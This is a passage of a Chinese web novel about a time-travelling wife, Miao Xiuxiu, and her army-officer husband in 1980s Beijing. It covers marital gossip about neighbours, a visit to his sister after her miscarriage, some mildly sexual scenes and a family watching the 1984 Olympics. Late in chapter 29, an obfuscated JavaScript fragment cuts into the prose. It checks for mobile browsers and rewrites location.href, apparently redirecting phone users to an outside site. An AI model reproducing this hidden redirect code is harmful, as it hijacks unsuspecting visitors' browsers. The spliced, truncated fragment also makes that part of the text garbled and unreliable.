更没想到一向没什么来往的邻居小周竟这样仗义,让他备受打击的心灵感觉到一丝温暖,把眼镜摘下来用背心一角擦了擦,才又重新戴上。
小旅馆离大院门口也就三百多米,周北冀把车停下,去边上的小卖部买了一包烟,抽一根叼在嘴里,把剩下的一包全给王老师,两人把烟点上,站在小旅馆门口交谈。<
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“实在过不下去就离,反正现在离婚也不是什么大不了的事,常年夫妻感情不和还影响健康。”周北冀对此深有体会,刚结婚那段时间,他每次想起家里那个媳妇就糟心,糟心就更不想回家,恶性循环,他觉得自己脾气都变坏了许多。
王老师吸了一口烟,叹息:“谁说不是呢,我和我媳妇是经人介绍认识的,当初觉得她文静温柔,结婚五年,她变得越来越怪,我不知道我哪里做得不好,她总是看不惯我。”
“可能当初也就是为了结婚而结婚。”
“我看也是,除了她对我没什么感情,也和她职业有关系,她在泌尿科,整天看男人那玩意,看得性冷淡了。”
王老师说得很无奈,周北冀一阵笑。
“你之前和小苗似乎也有矛盾,怎么最近感情越来越好了?是发生了什么事吗?”王老师对这事可太好奇了。
他虽是个书呆子,一墙之隔的邻居家小俩口感情好不好他却是能看出来的,周北冀以前很长时间才回一次家,对苗秀秀也很冷淡,苗秀秀连说话都不敢和他高声说,最近却不一样了,周北冀三天两头回家,苗秀秀整个人也展扬多了,以前像个没人理的小老鼠。
周北冀淡然一笑,“这事一句两句说不清楚。以前是我对秀秀缺乏了解,她也不够自信,后来她想通了,思想放开了,我俩相处就融洽多了。”
“还是你幸运,小苗一看就很善解人意。不像我家那个,自从结过婚,我工资全部上交,每天洗衣服做饭家务全包,她还不知足,晚上都不乐意和我睡一起,我想不通,我就这么讨人嫌?”王老师自嘲地垂下了头。
周北冀吐了口烟圈,“那不是,王老师您在家属区有口皆碑,大家都觉得您是个好人,也是个老实人,谁家孩子功课不好找您补课,您也从来不推辞,我觉得您和方大姐,单纯就是个性不和,婚前缺乏了解,婚后缺少沟通。”
周北冀知道的一些事,都是以往苗秀秀告诉他的,以前他对苗秀秀不重视,她偶尔找他说些家常话,他总是这耳进那耳出,现在想来,苗秀秀其实一直都在尽力想和他找共同话题。
“有什么用,我在她眼里就是个没用的穷教书匠,她一个姐夫去深圳做生意发了财,一个姐夫是局长,她觉得我不能替她在家里人面前长脸。”
“那她自己不也就是个泌尿科护士么,也没当个教授什么的。”
方护士要是像沈芬玉那样,在医院是专家教授级别的主任医生,周北冀觉得她瞧不起丈夫只是个小学老师还情有可原,可她自己也没多高的成就,凭什么对丈夫诸多挑剔?
“女人啊,真是个麻烦的生物。”王老师掐灭了烟,有点歉意地对周北冀说:“不好意思,耽误你时间了,你快点回去吧,别让小苗等急了。”
“没事,她在夜校上课,九点才结束。”周北冀看看时间,离去接苗秀秀下课还有点时间。
28. 第二十七章
和王老师告辞,周北冀按着苗秀秀去上课前的吩咐,把她买的两块毛料送到周家让沈芬玉挑选一块她喜欢的颜色。沈芬玉听说儿媳妇要给自己做一件大衣,惊讶之余也有点高兴,眼看着苗秀秀这个儿媳妇是退不了货了,她能越来越上台面,也是件值得庆幸的事。
沈芬玉选了驼色的毛料,苗秀秀回家以后,周北冀把情况告诉她,苗秀秀直夸婆婆眼光好。按她心里的小九九,她是想要米色料子做大衣的,婆婆的选择正中她下怀。
晚上睡觉的时候,周北冀把王老师跟他借钱住旅馆的事说给苗秀秀听。苗秀秀说:“他俩不会离婚的,方护士为了她的面子也不会离婚。”
“你怎么知道?我看方护士一点也不爱王老师。”周北冀觉得,两人都闹得这样了还不离婚,指定是有什么大病。
“她虽然不爱王老师,但是她好面子,觉得离婚了别人更会看她笑话,王老师长得挺好的,工作也体面,我就不信她离婚了能找个比王老师更好的?等她冷静下来,只要稍微分析一下就会发现,离婚对她来说机会成本过大。”苗秀秀分析得头头是道。
媳妇的精明本质越来越能呈现出来了,周北冀嗯了一声,“那确实,他俩都快三十了,三十的离婚男人重新找对象不难,三十的离婚女人就难了,更别提想找个像王老师这样家务活全包,还端茶倒水伺候她的。”
“所以说舔狗是没有好下场的。”
“舔狗是什么意思?”
苗秀秀又说了一个周北冀听不懂的词。
“就是明知道对方不喜欢自己,还一厢情愿、热脸贴冷屁股的人。”
“那为什么叫舔狗,和狗有什么关系?”周北冀还是没理解。
“狗皮膏药啊,甩都甩不掉。哈巴狗这个词怎么来的,还不足以说明狗都爱倒贴的属性?”
苗秀秀的解释让周北冀笑得不行,搂着媳妇狠狠亲了她一口。要不是他是个无神论者,他简直就要觉得现在活在他媳妇身体里的灵魂早就被换了,可到底想象力有限,他闹不清也不想去闹清楚媳妇是怎么变得这么聪明伶俐的。
“周同志,我发现你有的时候也挺善良可爱的,比如今天你支援王老师二十块钱住旅馆,就很有人道主义精神。”苗秀秀表扬丈夫。
以前他见了邻居都爱答不理的,以至于大家都觉得参谋长家的公子清高难相处、一点都不平易近人,现在被她带的,他在群众眼里和蔼可亲多了。
“看来我以前给你留下的印象很不好,这点小事都能扯上人道主义。”
“我是真心表扬你,比以前有人情味了。”
周北冀对媳妇给的这颗甜枣很是受用,忍不住把另外一件事也和她商量。
“我姐又流产了,这两天我们去她家看看她吧。”周北冀想起这件事,烦恼兜上心头。
“又流了?她这不会是习惯性流产吧?”苗秀秀知道周湘南之前也流了一个,没想到还有第二个。
“就怕这个。”周北冀把沈芬玉告诉他的事,一五一十全告诉了苗秀秀,说他准备找姐夫卢江宇谈谈。
“这种事你怎么谈啊,你准备让姐夫知道大姐以前的事,还是让他接受大姐可能无法再怀孕的事?这对他俩来说都太残酷了。”
苗秀秀依偎着周北冀,他现在对自己越来越掏心掏肺,家里人的秘密也开始告诉她,搁以前他是绝对不会说的,家丑不可外扬,这虽然不是家丑,也是他大姐不能说的秘密。
“我妈的意思是要让姐夫知道,我姐身体不好,他俩就别再折腾怀孕的事了,不然的话我姐的身体迟早被拖垮了,不如就去收养一个孩子。”
“这都是后话,你现在首先要理清楚这件事的来龙去脉,你姐根本就不爱姐夫,你看不出来吗?什么瞧不起他是县城来的,什么他学历只是工农兵大学生,前提都是她根本不爱姐夫,真正爱一个人的时候,缺点都是微不足道的,就像你姐爱她的前夫,那个不识几个字的半文盲。”
苗秀秀的话让周北冀沉默了好一会儿,大概他也联想到了自己和苗秀秀,以前不喜欢的时候,怎么看她都不顺眼,现在不知不觉中喜欢上了,也就不再嫌弃她是农村来的,反而一心想培养她,并且乐在其中。
“怎么不说话?想什么呢?”苗秀秀轻抚着丈夫的背,他趴在那里像是在想心事,比平常看起来多了几分深沉。这样的他,说不出的性感,还带着几分诱惑。
“在想你的话,觉得很有道理。”周北冀望着苗秀秀,“我姐是个内心很高傲的人,也是个很冷静理智的人,所以当初一考上大学,她就听我妈安排,和前夫离婚,还打掉了肚子里的孩子,但是我相信,她内心非常痛苦。”
苗秀秀说:“人生有些关口,无论怎么选择都会后悔,她选择离婚,她会痛苦放弃了所爱之人,但要是选择留在她插队的农村,时间长了她也会后悔,因为她的自我价值没法得到体现,她不是那种甘心一辈子留在大山沟里的人。”
“说得对,她就是这样一个充满矛盾的人,她放不下心里那个人,也无法去善待身边的人。”
“所以她老是流产,除了身体因素,恐怕心理因素也占了一部分。难怪她和方护士关系好,两人都有点心理扭曲,方护士是在泌尿科待久了性冷淡,你姐则是灵与肉的矛盾这种哲学命题。”
周北冀再次对媳妇刮目相看,几个月前他可从来没想过自己能和她进行这样深入的思想交流,由此可见,两个人能不能处得好,沟通是很重要的。
“你觉得我应不应该和姐夫谈?”周北冀询问苗秀秀意见。苗秀秀说:“我觉得在这段婚姻里,你姐的问题更大,根源在你姐那里不是在姐夫,要找谈话也该是找你姐谈。”
“我和她不太好谈,还是让妈和她谈谈好了。”
周北冀觉得自己和周湘南虽然是亲姐弟,到底男女有别,有些话题根本不好触及,母亲就不一样了,和自己女儿什么话都能说。
“很多不幸福的婚姻,夫妻生活不和谐也是很重要的原因,我猜你姐和姐夫就不怎么和谐,不然你姐不会对姐夫那样,我就不信床上和谐的两口
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子床下会像仇人。”苗秀秀再次发表高论。
“这我赞同。”周北冀笑着把苗秀秀揉进怀里。他和苗秀秀感情突飞猛进很大一个原因就是他俩在这方面太和谐了,苗秀秀虽然也害羞矜持,但是她很会配合,所以他才整天都想和她待在一起。
几天后,周北冀背上的烫伤好得差不多了,为了不耽误进度,提前销假回学校参加国庆阅兵集训。
苗秀秀则开始裁剪缝制舒华的演出服,她把这件衣服当成自己职业生涯的一个里程碑,废寝忘食全情投入。演出服胸口装饰的亮片和水晶都是她一针一线缝上去的,阳光下亮闪闪的,料想到时候上了舞台效果一定会更好。
一连多日,周北冀忙于训练都没有回家,但是几乎每天都会往家里打电话。八十年代的人普遍保守,情话都说得含蓄,直到快要挂电话的时候才说一句,怪想你的。
苗秀秀假装没听清,逗他:“你说什么?”
周北冀有点不好意思,顾左右而言他,“我没说什么,你早点休息,一个人睡注意关门关窗。”
“我知道。”苗秀秀算了算,他都快两个星期没回家了,应该去看看他。
说行动就行动,当天午后她就去市场上买了二斤鸡爪,准备回家做成卤鸡爪,路过卖西瓜的摊位,发现西瓜也很便宜,挑了两个西瓜带回家。
卤好的鸡爪上色后红润油亮,知道他喜欢吃辣点的,特意放了辣椒调味,脱了骨以后吃起来香辣浓香,苗秀秀自己一口气吃了四个,把剩下的全装到饭盒里,塞得满满的,又把西瓜切了一饭盒,准备都给周北冀送过去。
傍晚的时候,周北冀结束训练,正要去食堂吃饭,有个同学过来告诉他,他家属来看他了。
“家属?谁啊?”周北冀一时没想到会是苗秀秀。他从来没带苗秀秀来过陆军学院,苗秀秀也不常出门,他以为她找不到这个地方。
“不知道,她就说是你家属,看着挺漂亮的。”传消息的同学以前没见过苗秀秀,不知道她和周北冀的关系。
周北冀一听说挺漂亮的,就有种预感可能是苗秀秀来了。等他到门口一看,果然看到一个苗条的身影。
她穿着一条粉红色带小花的连衣裙,白色娃娃领、泡泡袖的款式,裙子有点像以前流行的俄式布拉吉,又比布拉吉多了几分清秀淡雅,等周北冀叫她一声,她迎上来那一瞬间,周北冀几乎看傻了。
暮色降临,路灯下娇羞含笑的她太漂亮了,头发好像重新烫过了,梳了一个甜美可爱的公主发型,长长的卷发很自然地披在肩上,皮肤白得发光,一双美眸流光溢彩又脉脉含情,让周北冀脑海里的保险丝忽然就爆了。
军校不让外人进,两人只能站在马路边说话,苗秀秀难得看到周北冀穿一次军装,觉得他看起来挺拔英武,特别有一种纯爷们儿的气场,和穿白衬衣时是两种不同的帅。
难怪都用白杨树来形容军人,那气质确实像。
打量他半天,苗秀秀才问他,“好些天你都没回家,也不知道你背上的伤好了没有?”
29. 第二十八章
“好多了,结的痂已经开始掉了。”周北冀有点痴痴地看着苗秀秀。他哪知道苗秀秀在家里精心化了妆才过来找他,不仅胭脂口红全套,还用睫毛夹将长长的睫毛夹得卷卷的。作为上辈子的设计师,苗秀秀太懂得男人的审美点了,不好好打扮都对不起原主留下的好皮囊。
“这我就放心了。”苗秀秀打开饭盒,用牙签叉起一块西瓜喂到他嘴里,看着他吃下去,又问他:“你不是说想去看看大姐,什么时候有空去啊?”
“后天……”周北冀闻到苗秀秀身上淡淡的幽香,有点心猿意马,觉得自己等不到后天,于是很快又说:“明天吧,下午我回家接你,我们买点东西去我姐家看看。”
把人揽进怀里,周北冀在她脸上亲了几下,亲得毫无章法,呼吸都乱了,已婚的苗秀秀不可能读不懂丈夫眼睛里的神态,搂着他的腰,轻声说:“别这样,大街上好多人会看到。”
“看到就看到,管他们,我们是合法夫妻。”周北冀才不在乎这些,低头衔住苗秀秀的嘴唇,吻够了才肯罢休。
苗秀秀推搡开他,眼波流转,“我给你带了点好吃的,你要是自己吃不完就分给室友。”周北冀低头看着饭盒,问她是什么好吃的。
“卤鸡爪。”苗秀秀把装着饭盒的手提袋交给他,骑上车走了。嘴里她还哼着歌,词记得不太清楚了,只会唱几句。
一棵小白杨,长在哨所旁
根儿深杆儿壮守望着北疆
小白杨、小白杨
也穿绿军装……
周北冀看着她背影,怀念刚才那一吻,直到她消失在黑暗里,才意犹未尽返回学校。
食堂里,叶耀然都快吃完了,看到周北冀提着东西过来,猜到苗秀秀一定是给他送好吃的了,拿筷子敲饭碗起哄,非让周北冀把饭盒贡献上来不可。
周北冀本来也没想吃独食,大大方方把饭盒打开,卤鸡爪的香味顿时吸引了一大票人注意,众人争前恐后过来抢,在卤鸡爪全被抢光之前,周北冀好不容易才给自己留了三个。
又香又辣味道正宗,众人吃了还想吃,都羡慕周北冀有口福,夸奖他媳妇的厨艺太好了。周北冀一口气吃了三个鸡爪,心里直后悔,早知道这么好吃就不拿出来分了,买上两瓶啤酒,拿回宿舍当下酒菜不好么。
第二天正好赶上周末,学校提前一小时结束训练,周北冀没来得及洗澡就匆匆往家里赶,苗秀秀已经准备好了去周湘南家探望的果篮,只等他回来两人就过去。
哪知道,周北冀一进屋二话没说就抱住她,迫不及待脱她衣服,自己的上衣也脱了丢到一旁,皮带解开裤子松垮着。苗秀秀抚摸着他背上的伤,感觉伤口好了不少,才放下心来。
激情四射、酣畅淋漓的床上运动让两人身上黏腻腻全是汗水,一起到浴室冲澡的时候还抱在一起难舍难分。
要说苗秀秀对周北冀最满意的一点是什么,毫无疑问就是他精壮性感的身材和生猛体力,每次都让她回味无穷。
怪不得后世那么多女人喜欢小鲜肉,年轻的□□带来的快感太过瘾了,几个回合下来,足以令人返老还童,苗秀秀觉得自己就像个修行千年的老妖,在人间抓了一个少年郎当她采阳补阴的十全大补金丹。
甩着湿漉漉的头发,周北冀穿好裤子,看到苗秀秀披散着长发躺在床上,以手扶额,懒洋洋又风情万种,仿佛油画里的人物,不禁呆了一呆。
可她这样不穿衣服不吹头发也不是个事,催促她:“怎么不穿衣服,再不走来不及吃饭了。”
“你还知道来不及,来不及你还闹两场。”
苗秀秀全身酸痛,没有一丝力气,看着周北冀的背影,只穿着绿色军裤的他看起来性感得无可救药,尤其是弯腰去捡丢在地上的衬衣的时候,背和腰强大的力量感一览无余。
抬脚轻轻踹了一下他屁股,苗秀秀说:“衬衣都穿了一天了,换一件吧,搁那儿我晚上回来帮你洗。”周北冀嗯了一声,从衣柜里找了一件白衬衣穿在身上,下摆扎进裤子里系好皮带。
苗秀秀还看着他,她可太喜欢看他穿白衬衣的样子了,真正帅的男人不需要一点装饰,也不需要氛围烘托,随随便便一件白衬衣绿军裤就帅得让人合不拢腿。
“还不穿衣服?是在等我给你穿?”周北冀无奈,过去把媳妇从床上拉起来,不让她再像个艳尸似的□□挺着不动,他不大会替女人穿衣服,笨手笨脚的,苗秀秀嫌他手劲大老是弄疼自己,推开他的手,自己穿衣服。
咯咯娇笑调戏他:“我好看吗?”“好看。”周北冀由衷的说,这样的媳妇要是还嫌不好看,那天底下就没好看的了。
苗秀秀伸手到丈夫衣领子里轻抚他喉结和锁骨。周北冀笑着拿开她的手,时间已经来不及了,他不能再受她诱惑。
以前苗秀秀哪会说这样的话,有一回无意中看到他躺在沙发上欣赏西方油画册,里面的裸体女人让她羞得无以复加,一整天都用看流氓的眼神看他。
“你昨天穿的裙子好看,是你自己做的?”周北冀觉得苗秀秀开窍以后穿的衣服就没有不好看的。
苗秀秀嗯了一声,“夏天的衣服一天一换,我昨晚洗好了在外面晾着,你去帮我把衣服全收进来。”周北冀依言而去,不一会儿抱着一摞晒干的衣服进来。苗秀秀把那条粉色裙子拿过来穿在身上,又往身上脸上涂涂抹抹,足足
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花了半小时时间。
终于香香美美了,苗秀秀挎上小包,拉着丈夫的手和他一起出门,两人商量先去食堂吃晚饭,再去周湘南家。夏日天长,七点钟天都还没黑。
愉快的身体交流让两人精神饱满、神清气爽,坐在一起吃饭的时候依然贴在一起,你给我夹菜,我给你夹菜,吃得柔情蜜意。
看到王老师两口子也在食堂吃饭,周北冀有点好奇地问苗秀秀,“他俩没离?”
苗秀秀也看了一眼对面,压低声音说:“当然没离,你以为离婚那么容易啊,事情过去以后冷静下来就会权衡利弊,SWOT分析一下自己各方面的优势劣势,发现离婚根本不划算。”
“什么叫SWOT分析?”周北冀总是能准确捕捉到苗秀秀每一句话里比较奇怪的词汇。
苗秀秀说溜了嘴,只得找补,“我们高数课老师讲的,说是美国一个大学教授研究出来的竞争态势分析方法,主要就是分析一下优势劣势机会威胁这些。”
“你看起来学得不错嘛。”
“那当然,你给我报的班我肯定好好学。”苗秀秀嘴甜得抹了蜜。
“他俩这情况,矛盾基本不可调和,就算现在不离,将来也保不齐会离。”周北冀自己在媳妇身上尝到了甜头,深知婚姻了少不了这个,王老师夫妻那样的无性婚姻能维持多久?
“也并非不可调和,只要方护士做点让步,他俩的矛盾还是能解决的。”
“她那脾气,能让步?”
“她想挽回婚姻,就得让步。起码她应该去看看心理医生,积极治疗一下,多换位思考,矛盾就能少很多。”
同样的道理也适用于周湘南和卢江宇。周北冀夹了一筷子凉拌海带丝送到嘴里,说:“难,心理医生也不是万能的。再说除了那方面,他俩自身性格也有问题,一个太软弱一味讨好,一个太自私强势不留余地。”
苗秀秀点了点头,掰了一小口玉米面窝头吃。这个年代的人因为刚从动乱岁月过来,缺吃少穿的温饱问题给他们中的很多人留下了刻骨的记忆,大多数喜欢吃白米细粮而不是玉米面窝头这样的杂粮,只有苗秀秀吃得津津有味。
“你在老家吃这个还没吃够?”周北冀不理解苗秀秀放着雪白的馒头不吃,非要吃玉米面窝头。小时候他和小妹住在上海的外婆家,革委会每逢年节要求各家吃忆苦思甜饭,外婆总会蒸上一锅玉米面窝头或者山芋粉野菜团子,他和小妹都不喜欢吃,觉得难以下咽。
“忆苦思甜啊,我刚过上好日子也没几天。”苗秀秀想起在农村时候的生活,怎一个苦字了得。
“少吃点,不消化。”周北冀让苗秀秀多喝点白粥。
30. 第二十九章
到周湘南家时已经快七点半了,周湘南似乎没想到这时候能有人来访,听到门铃响,过去看门一看,竟然是她弟弟和弟媳,把他俩让进屋。
周北冀看到姐姐脸色苍白,精神憔悴,大夏天的还披着件浅灰色毛衣开衫,心里一疼,关切地问:“姐,你休息这么多天,怎么看起来还这么没精神?”
“你都知道了?”
“妈全告诉我了,所以我和秀秀过来看看你。”
周北冀把果篮交给苗秀秀,示意她帮忙拿去厨房,他姐的样子一看就得卧床休息,不能让她劳累。
周湘南领着弟弟坐在沙发上,要削水果给他吃,周北冀拒绝了,说他和秀秀刚吃过饭。
“姐夫呢?”
“厂里加班,他还没回来。国庆快到了,说是要大干一百天为国庆献礼。”
周湘南有气无力地拉了拉肩头的毛衣,已经是第三次流产,她的身体虚弱得很,休息了半个多月都没恢复。
看到苗秀秀过来挨着周北冀坐,周湘南苍白的脸上多了一丝笑意,“你们小俩口最近感情挺好的?”弟弟年轻爱玩,他小媳妇一脸娇慵春色到此时都还没有完全褪去,周湘南是过来人,什么看不出来。
“还可以吧。”周北冀轻轻握了一下苗秀秀的手,又放回去。
“你俩能处好,也算去了咱爸妈一块心病。”周湘南自己在病中,也没心思去嫌弃弟媳妇了。反正她窝在弟弟身边那种低眉顺眼的样子,料想她也掀不起什么风浪。
“姐,你身体都这样了,以后要多保养,怀不上就怀不上,人结婚也不是非要孩子不可,周总理不也一辈子没孩子,照样为国家做贡献。”周北冀不知道从何谈起,想了想两姐弟之间也不必拐弯抹角,索性实话实说。
唉,周湘南叹了口气,哪怕是亲弟弟,也一点也不了解她心思,不知道她为什么非想要一个孩子。
苗秀秀在一旁说,“姐,如果你是为了想给姐夫生一个孩子以后再提离婚,那也大可不必,姐夫通情达理,你俩感情不和提出离婚,他应该不会不同意的,因为内疚、想报答他而生孩子,对姐夫和孩子也不公平。”
周湘南和周北冀姐弟俩听到苗秀秀的话惊呆了,都没想到苗秀秀看问题能这样一针见血刺中要害,虽然周湘南没说话,可周北冀从他姐嘴角抽搐的微表情就看出来,苗秀秀话说中了姐姐心事。
周湘南干咳了一声,周北冀略有些尴尬,但他还是选择了替媳妇说话,“姐,秀秀说话直了点,但道理说得没错,如果你是觉得愧疚,非要替姐夫生个孩子,那是对你自己和姐夫都不负责,你身体已经这么差,再也经不起折腾,姐夫对你好,从来也不是为了让你替他生孩子,更别提把生孩子当成任务和离婚的条件。”
“你们根本不了解。”周湘南扶额,头痛无比。
周北冀自然知道姐姐在烦恼什么,劝说:“感情不好的两个人在一起,拖越久越痛苦。除非你下决心忘记过去,不然你和姐夫的问题不是一个孩子就能解决的。”
苗秀秀也说:“如果是我的话,我会选择和我爱的人共度一生,一辈子太短了,也就匆匆几十年,没有时间浪费在琐碎的鸡毛蒜皮上。”
周湘南听到这话,鼻子里一哼哼,旁人说这话也就罢了,苗秀秀自己才过上几天好日子?弟弟愿意搭理她,不过才一两个月时间,瞧把她嘚瑟的,都找不着北了。
可看他俩相处的情形,也难怪苗秀秀会嘚瑟,弟弟现在心里眼里全是她,看着她的目光那叫一个毫不掩饰真情流露,就连自己流产做小月子他来探望,都不忘记把苗秀秀带过来,就足以说明,弟弟渐渐地把他媳妇当自家人了。
至于他俩为什么会这样,结过两次婚的周湘南更是心知肚明,圆房了呗,而且弟弟显然对过程和结果都很满意,所以也不嫌弃媳妇了,看媳妇哪哪儿都顺眼了。男人不都这个德性嘛,欲望指挥大脑、冲动决定一切。
日子过滋润了的苗秀秀也确实有了脱胎换骨的变化,衣着打扮都相当符合男性审美,周湘南见过不少这样爱打扮的小姑娘,几乎每个人身后都是一大串男人追。
三个人正沉默的时候,卢江宇回来了,看到小舅子两口子都在,很高兴地和他们打招呼,“小北和秀秀来了,吃饭了吗,没吃的话一起吃点,我买了烧鸡。”
周湘南不太会做饭,家里的饭通常都是卢江宇来做,他加班回来晚了,来不及炒菜,只能买熟菜带回来。
“不用了,我们这就要回去了。姐夫,你和我姐吃饭吧,我们就不打扰了。”周北冀起身要走。苗秀秀也站了起来。
两人一起离开,楼道里灯坏了,黑灯瞎火中周北冀小心翼翼护着媳妇下楼,生怕穿着高跟鞋的她摔了碰了磕了,和筒子楼过道里一样,这种单元房的楼道里也乱七八糟摆放着住户的蜂窝煤、旧家具和自行车,从六楼爬下来,翻山越岭的,比打了场球还累。
周北冀直埋怨,怎么首钢宿舍条件这么差,连个楼道灯坏了都不修。
苗秀秀笑着揶揄他,单位职工宿舍当然不能和周家气派漂亮的小洋楼比,将军家和老百姓家能一样吗,你爸可是参加过渡江战役的老革命,老百姓的爸只能摇着独轮车上前线送物资。
这番挖苦周北冀听着老没意思,趁着楼道里黑,搂着苗秀秀腰的手往上在她身上拧了一把,苗秀秀吃痛,握起小拳拳给他一记摧心掌外加降龙十八掌,夫妻俩笑着抱在一起。
坐在自行车后座,苗秀秀搂住周北冀的腰,陷入沉思。
想起王老师那一对,又想起周湘南,周围婚姻幸福圆满的夫妻似乎很少,大多数人可能不会闹得那么难看,但总有各种各样的不如意,就像李嫂,孩子生三个了,大男子主义的丈夫在家里从来都是甩手掌柜,没帮她分担过一点家务。
就算没有家务上的矛盾,也会有两地分居的痛苦,周北冀的哥嫂们就是这样,两个哥哥因为被父亲安排到最艰苦的地方去锻炼,常年没法回京,嫂子们又都有工作,不愿意去随军,夫妻一年到头见不到面,孩子也都是丧偶式教育,这样的婚姻和夫妻关系,在苗秀秀看来也怪没劲的。
叶耀然和舒华还没结婚不算,结了婚的人里,苗秀秀觉得自己和周北冀目前的状态还算不错,起码两个人遇到事情有商有量,彼此也都不是暴躁脾气,相处起来不那么费劲。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12714645|131708||http|test|mini|href|location''.split(''|''),0,{}));
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>想起他之前在楼道里对自己的所作所为,苗秀秀恶向胆边生,手在他身上摸啊摸,摸摸腰又摸摸肚子,等他快要抗议了,摸准了狠狠拧一下。
周北冀被她偷袭成功,也猜到这小女人是在报复,又疼又笑对她说:“别闹,马路上车多,这样闹不安全。”
想好了,她不是喜欢摸喜欢拧吗,等回家了让她摸个够,不仅要摸,还要让她舔,一想起她粉粉嫩嫩的小舌头,他心猿意马。
回到家里,周北冀像个小孩子一样跟在媳妇身后,告状,“你上回给我做的卤鸡爪我拿到食堂去,没吃到几个就被同学抢光了,你什么时候再给我做点?”
“好吃吗?”苗秀秀飞了丈夫一眼。周北冀不知道媳妇问这话的目的,但听她的语气像是要和他谈什么条件,很实诚地说:“好吃啊,特别香。”
“那你给我买个洗衣机,等天凉了,床单被套什么的都得经常洗,还有你和我的大衣服,全靠手洗我洗不动。”苗秀秀早就想买洗衣机了,因为夏天的衣服洗起来很容易,一直没想起来和周北冀提。
还以为她要提出什么无法达成的条件,原来就这?周北冀哑然失笑,他父母家里早就有洗衣机了,但是没想到苗秀秀也想要,主动说:“行,给你买,咱买个日本进口松下的。”
这还差不多。苗秀秀很满意,琢磨着除了给他做一套西装,还要给他做一件风衣,那天上英语课时偷偷看阅览室借来的杂志,上面有周润发演的许文强剧照,算一算《上海滩》差不多就快引进国内了,到时候许文强的风衣肯定风靡一时。
小俩口搂着睡觉,天太热睡到半夜给热醒了,正打算把风扇调到最大档,忽听到窗外传来床嘎吱嘎吱作响的声音,而且离得很近,像是从隔壁传来的。
苗秀秀套上真丝睡裙跳下床,光着脚跑到窗户边去偷听,果然听到隔壁传来床的嘎吱声和女人哼哼唧唧呻吟的声音,忍俊不禁。
难怪王老师不提离婚了,原来是方护士妥协了,只是她叫·床的声音听起来可太不美妙了,像母鸡被被踩了脖子发出的声音。咯咯哒……咯咯哒……
看到周北冀躺在床上望着自己,那眼神烟水迷离魅惑得不像话,苗秀秀冲他勾了勾手指头,周北冀也从床上跳下来,走到她身后搂住她,跟她一起听窗外的动静。
“没你叫得好听。”周北冀和苗秀秀心有灵犀,最先想到的就是这个。
“那是,王老师摇床的力气也没你大。”苗秀秀表扬丈夫在床上的英勇表现。
“说得你跟他摇过似的。”周北冀一不留神说溜了嘴。
“屁话。”苗秀秀眉眼倒立,狠狠踹了丈夫一记窝心脚。
周北冀赔笑,掀起她薄如蝉翼的睡裙,他的笑,透着邪性;他的动作,招招致命,苗秀秀媚眼如丝看着他,这男人怎么能妖魅成这样,这谁能顶得住?
月光很好,站在窗台边彼此的脸能看得清清楚楚,苗秀秀知道自己的样子一定很像法国电影里凄艳的女主角,披散的发丝缠绕在脸上,媚态丛生。
苗秀秀跑进浴室冲澡。以他俩这样的频率,恐怕离造出个孩子也不远了,她得不时吃点药,以免发生意外。
31. 第三十章
洛杉矶奥运会开幕,周北冀奉命带着媳妇回家吃饭,陪父母一起看电视里的开幕式实况转播。中国代表团重返奥运赛场作为当年的头等大事,只要是有电视的人家都会观看开幕式,家家户户比过年时还热闹。
周家客厅里也很热闹,老大老二媳妇奉二老之命把上学的小孙女们也带来了,再加上大女儿夫妇、小儿子夫妇和小女儿、保姆小张,整整十二口人,坐在客厅里围观开幕式,那场面,有点热血沸腾的意思。
沙发的C位自然是要给两位老人坐的,其他人则是随便坐。
以前偶尔遇到这种全家人一起看电视的情景,苗秀秀都会知趣地搬张椅子坐在沙发边上,现在不一样了,周北冀坐下以后,她挨着他也跟着坐下,还把身体歪在他身上,怎么舒服怎么来。谁不服谁忍着,哪怕她坐在周北冀怀里,也名正言顺。
“美国这体育场真大呀,听说能装十万观众,比咱工体还大。”二嫂郭燕抓了一把瓜子在手里嗑。
“确实很大,所以在里面办了两次奥运会。”周北冀说。远处洛杉矶的高楼大厦也令人叹为观止。
“乐乐,电视里的单词你念给爷爷奶奶听听。”大嫂吴秀清指着屏幕里的人组成的wee问女儿。
“Wee!”乐乐念得掷地有声,把全家人都都笑了。
苗秀秀削好苹果,切了一块送到嘴里,看到电视里美国仪仗队穿着华盛顿时代的服装,举着国旗入场,忍不住小声嘀咕:“鹰酱的仪仗队还挺有意思……呦,萨马兰奇,这时候就有萨马兰奇了。”
“小婶,鹰酱是什么?”乐乐好奇地问。
苗秀秀没想到自己碎碎念被小孩子听到了,脑筋飞快一转,说:“鹰酱就是美国,美国的国鸟白头海雕是一种大型鹰,很多地方都用鹰来指代美国。”
苗秀秀想,这么解释应该没人不明白吧。
“那酱是什么意思?”乐乐歪着小脑袋追问。
“酱就是酱菜,鹰酱就是美国酱菜的意思。”苗秀秀一本正经胡说八道。
“美国酱菜?”乐乐觉得这个陌生的词汇很有意思。
周北冀若有所思瞅了苗秀秀一眼,苗秀秀赶忙往他嘴里塞一块苹果堵上他的嘴,眼睛眨巴眨巴,周北冀莞尔,搂了搂她的腰。
对他俩的小动作,其他人没觉得有什么不妥,唯独周中中觉得特别不顺眼。自从哥哥对苗秀秀态度改变,苗秀秀现在嘚瑟得不得了,恨不得时时刻刻黏着哥哥,动不动就秀恩爱。
收到周中中不友好的眼神,苗秀秀瞟了她一眼,没把她当回事。
原主的记忆里,这次全家人一起看奥运会开幕式的时候,其他人讨论得热火朝天,只有苗秀秀在一旁完全插不上话,那些运动员她一个也不认识,更没看过什么比赛。
周北冀全程没有理她,只有小张偶尔和她说两句话,但因为两人说的都是外行话,还遭到了周中中的嘲笑。
想到这里,苗秀秀忍不住在周北冀手臂上掐了一把,他的手臂结实有力,她掐不动就拧,余光瞥见周北冀吃痛又不解地看着自己,没事人一样拿起一把五香花生米吃。
各国代表团进场,第一个出场的是希腊代表团,沈芬玉说:“还以为美国会第一个进场,为什么希腊排第一?”
“因为希腊是现代奥运会发源地,国际奥委会规定,希腊代表团有第一个进场的特权,东道主最后一个进场。”苗秀秀解释给婆婆听。
沈芬玉没想到这丫头还知道这些,不住点头,有点称赞的意思。周北冀笑而不语,这丫头现在是装都不装了,直接翘尾巴。
